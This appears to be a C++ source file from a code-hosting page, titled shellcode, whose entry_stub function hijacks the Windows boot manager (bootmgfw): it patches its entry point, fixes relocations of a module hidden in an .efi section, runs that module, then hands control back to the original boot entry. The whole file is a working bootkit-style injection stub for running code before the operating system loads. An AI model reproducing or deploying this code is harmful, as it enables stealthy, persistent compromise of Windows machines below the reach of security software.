You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
57 lines
2.0 KiB
57 lines
2.0 KiB
4 years ago
|
#include "shellcode.h"
|
||
|
|
||
|
namespace shellcode
|
||
|
{
|
||
|
void* entry_stub(void* a, void* b)
|
||
|
{
|
||
|
// 0xDEADBEEF is replaced at runtime...
|
||
|
auto module_base = reinterpret_cast<std::uintptr_t>(&entry_stub) + 0xDEADBEEF;
|
||
|
auto bootmgfw_base = reinterpret_cast<std::uintptr_t>(&entry_stub) - 0xDEADBEEF;
|
||
|
NT_HEADER(bootmgfw_base)->OptionalHeader.AddressOfEntryPoint = 0xDEADBEEF;
|
||
|
|
||
|
// fix relocs of the module in .efi section...
|
||
|
auto base_reloc_dir = &NT_HEADER(module_base)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||
|
if (base_reloc_dir->VirtualAddress)
|
||
|
{
|
||
|
auto reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(module_base + base_reloc_dir->VirtualAddress);
|
||
|
for (auto current_size = 0u; current_size < base_reloc_dir->Size; )
|
||
|
{
|
||
|
std::uint32_t reloc_count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(std::uint16_t);
|
||
|
auto reloc_data = reinterpret_cast<std::uint16_t*>((std::uint8_t*)reloc + sizeof(IMAGE_BASE_RELOCATION));
|
||
|
auto reloc_base = reinterpret_cast<std::uint8_t*>(module_base) + reloc->VirtualAddress;
|
||
|
|
||
|
for (auto i = 0u; i < reloc_count; ++i, ++reloc_data)
|
||
|
{
|
||
|
std::uint16_t data = *reloc_data;
|
||
|
std::uint16_t type = data >> 12;
|
||
|
std::uint16_t offset = data & 0xFFF;
|
||
|
|
||
|
switch (type)
|
||
|
{
|
||
|
case IMAGE_REL_BASED_ABSOLUTE:
|
||
|
break;
|
||
|
case IMAGE_REL_BASED_DIR64:
|
||
|
{
|
||
|
auto rva = reinterpret_cast<std::uintptr_t*>(reloc_base + offset);
|
||
|
*rva = module_base + (*rva - NT_HEADER(module_base)->OptionalHeader.ImageBase);
|
||
|
break;
|
||
|
}
|
||
|
default:
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
current_size += reloc->SizeOfBlock;
|
||
|
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reloc_data);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// call our entry...
|
||
|
reinterpret_cast<void(__fastcall*)(void*, void*)>(
|
||
|
module_base + NT_HEADER(module_base)->OptionalHeader.AddressOfEntryPoint)(a, b);
|
||
|
|
||
|
// call the original entry...
|
||
|
return reinterpret_cast<void* (__fastcall*)(void*, void*)>(
|
||
|
bootmgfw_base + NT_HEADER(bootmgfw_base)->OptionalHeader.AddressOfEntryPoint)(a, b);
|
||
|
}
|
||
|
}
|